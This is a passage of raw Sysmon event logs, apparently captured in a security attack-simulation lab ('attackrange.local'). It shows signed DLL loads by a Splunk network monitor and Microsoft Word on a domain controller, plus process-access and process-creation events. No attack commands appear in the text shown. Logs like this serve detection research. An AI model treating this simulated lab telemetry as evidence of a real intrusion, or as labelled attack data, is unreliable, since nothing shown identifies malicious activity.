734700x800000000000000049079Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.997{7BD73061-7289-613B-4E0B-00000000F001}7104C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000049078Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.997{7BD73061-7289-613B-4E0B-00000000F001}7104C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000049077Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.997{7BD73061-7289-613B-4E0B-00000000F001}7104C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000049076Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.997{7BD73061-7289-613B-4E0B-00000000F001}7104C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000049075Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.997{7BD73061-7289-613B-4E0B-00000000F001}7104C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000049074Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.997{7BD73061-7289-613B-4E0B-00000000F001}7104C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000049073Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.997{7BD73061-7289-613B-4E0B-00000000F001}7104C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\IPHLPAPI.DLL10.0.14393.2339 (rs1_release_inmarket.180611-1502)IP Helper APIMicrosoft® Windows® Operating SystemMicrosoft Corporationiphlpapi.dllMD5=3CD38EDF9CA12F91131EDEE32D1C9DF5,SHA256=AF2440640BF8BDEAAF0DECDD7C354158E415ED0AA340ABA7A6CCCDC09C1E728B,IMPHASH=98738BA55485CCA932F6D222F47FFC55trueMicrosoft WindowsValid 734700x800000000000000049072Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.997{7BD73061-7289-613B-4E0B-00000000F001}7104C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000049071Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.997{7BD73061-7289-613B-4E0B-00000000F001}7104C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000049070Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.997{7BD73061-7289-613B-4E0B-00000000F001}7104C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\nsi.dll10.0.14393.3297 (rs1_release_1.191001-1045)NSI User-mode interface DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationnsi.dllMD5=994E2A6D2A0B38E0968B3998E42033AC,SHA256=491F2D1DE09C39B324BCF5800198AC7CCE755F4023F1FEB3854D33716461BC27,IMPHASH=B01B7830101BC0D5FBDE4FFE2B170CF7trueMicrosoft WindowsValid 734700x800000000000000049069Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.997{7BD73061-7289-613B-4E0B-00000000F001}7104C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\dnsapi.dll10.0.14393.4350 (rs1_release.210407-2154)DNS Client API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationdnsapiMD5=D7651F99299B13D576A72643BFC44944,SHA256=589302E630C473DBDF4CE92C59F00B029FCA0C228E7111A764166E16025FA1A9,IMPHASH=3C043C6FF0F62DAEB8819606F79C5ECCtrueMicrosoft WindowsValid 734700x800000000000000049068Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.997{7BD73061-7289-613B-4E0B-00000000F001}7104C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\secur32.dll10.0.14393.2273 (rs1_release_1.180427-1811)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsecur32.dllMD5=BCF1B2F76F8A3A3E9E8F4D4322954651,SHA256=46B327CD50E728CBC22BD80F39DCEF2789AB780C77B6D285EEB90126B06EEEB5,IMPHASH=0D8FF9DE2DA5C07D680347B1A098E759trueMicrosoft WindowsValid 734700x800000000000000049067Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.997{7BD73061-7289-613B-4E0B-00000000F001}7104C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000049066Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.997{7BD73061-7289-613B-4E0B-00000000F001}7104C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000049065Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.997{7BD73061-7289-613B-4E0B-00000000F001}7104C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000049064Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.997{7BD73061-7289-613B-4E0B-00000000F001}7104C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 10341000x800000000000000049063Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.997{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7289-613B-4E0B-00000000F001}7104C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000049062Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.997{7BD73061-7289-613B-4E0B-00000000F001}7104C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000049061Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.997{7BD73061-7289-613B-4E0B-00000000F001}7104C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 10341000x800000000000000049060Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.997{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000049059Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.997{7BD73061-7289-613B-4E0B-00000000F001}7104C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000049058Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.997{7BD73061-7289-613B-4E0B-00000000F001}7104C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exeMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AECtrueSplunk, Inc.Valid 10341000x800000000000000049057Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.997{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049056Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.997{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049055Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.997{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049054Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.997{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-7289-613B-4E0B-00000000F001}7104C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000049053Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.997{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7289-613B-4E0B-00000000F001}7104C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000049052Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.997{7BD73061-7289-613B-4E0B-00000000F001}7104C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000016332Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:19.454{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6201FE3E84E9697A9C38C5F988F3C7D0,SHA256=DE0BDFCB505C1E4029E9BCA0A72F27E08E2511BBD7A91530ABD8E3025FEB157C,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000049382Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.966{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\cryptnet.dll10.0.14393.2035 (rs1_release_inmarket.180110-1910)Crypto Network Related APIMicrosoft® Windows® Operating SystemMicrosoft CorporationCRYPTNET.DLLMD5=C826D7EA2E1A6884120676A0A3CBC714,SHA256=B4EFCCA21ADC0FF2FD3505DD9F9F6D6F66CFF229FE21D97DFEF19F1D485769A0,IMPHASH=1277B5BCF0437BEA5158FFB1086840B6trueMicrosoft WindowsValid 734700x800000000000000049381Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.966{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\wintrust.dll10.0.14393.4530 (rs1_release.210705-0736)Microsoft Trust Verification APIsMicrosoft® Windows® Operating SystemMicrosoft CorporationWINTRUST.DLLMD5=992BCD32EF7680C574A426FAA4933ACA,SHA256=5755AC46B4220784A6E6AC12A755CC10892A5AE59B67924576075A1A29D68B3D,IMPHASH=EC9695F0DF1F52E9D439A942DBDAA111trueMicrosoft WindowsValid 734700x800000000000000049380Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.559{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Program Files\Microsoft Office\root\Office16\WWLIB.DLL16.0.13801.20854Microsoft WordMicrosoft OfficeMicrosoft Corporationwwlib.dllMD5=88AD4C5ED7EE51A82DDB8DF471E749B6,SHA256=E21BE93D40924965E74C6D1619F3C9AEE1FE09F535C8260B61387984DF55BC2D,IMPHASH=9B8F2AF782C40FFCF1C46B7A8CD8B7B2trueMicrosoft CorporationValid 734700x800000000000000049379Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.934{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\mlang.dll10.0.14393.4169 (rs1_release.210107-1130)Multi Language Support DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationMLANG.DLLMD5=1DB944C25F1B1D7105543E61F1CC5E2F,SHA256=EBA81052B0330151F8FE0FC95AFD2203D3869D67A05AD4E5D3FA8A69B48B4046,IMPHASH=563B6F147961D943E0261E05EAD94B56trueMicrosoft WindowsValid 734700x800000000000000049378Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.919{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000049377Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.919{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000049376Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.919{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\ADAL.DLL3.4.1.35249ADAL.NativeMicrosoft© ADALMicrosoftadal.dllMD5=83940B529D140372B1FF153CF83E478D,SHA256=1D246C806D9F170AAC09E8AA3507553B7833BA2067B81150588444B3C93BAADB,IMPHASH=B9F6A0D18416DEC1580419AB5B1F9EB8trueMicrosoft CorporationValid 734700x800000000000000049375Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.903{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\webservices.dll10.0.14393.2312 (rs1_release.180607-1919)Windows Web Services RuntimeMicrosoft® Windows® Operating SystemMicrosoft CorporationWebServices.dllMD5=3EE43755685D59060FAC0E2F09D67686,SHA256=BF80D9B840C28BC4E8FE9A4E6DBCCCAEE37A108F83428ABA1DD780D5312369D8,IMPHASH=21CAA202FAEFBDF78B727F64E8C79245trueMicrosoft WindowsValid 734700x800000000000000049374Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.887{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\cabinet.dll5.00 (rs1_release.160715-1616)Microsoft® Cabinet File APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcabinet.dllMD5=08A4A2712DB2AE10E483FB74E46B0E73,SHA256=EEB32E3E4256CC9935227ACD5BA576B75F1F6FE3C818D2127513CB22F823FECB,IMPHASH=536E202FBC448C2C3B40D60D87620951trueMicrosoft WindowsValid 734700x800000000000000049373Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.872{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\xmllite.dll10.0.14393.3143 (rs1_release.190725-1725)Microsoft XmlLite LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationXmlLite.dllMD5=64E301CCFADF34810ADA8DE9DBC7720F,SHA256=6EAE1E0E610793C7DF2B27795553F377D2C4126CF74D8EE4A84DE3C3150871F8,IMPHASH=B53F82B33CA6ABD6251152A46E5FF78CtrueMicrosoft WindowsValid 10341000x800000000000000049372Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.840{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+1a697|c:\windows\system32\fntcache.dll+1aacc|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049371Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.840{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+1a697|c:\windows\system32\fntcache.dll+1aacc|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049370Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.840{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft 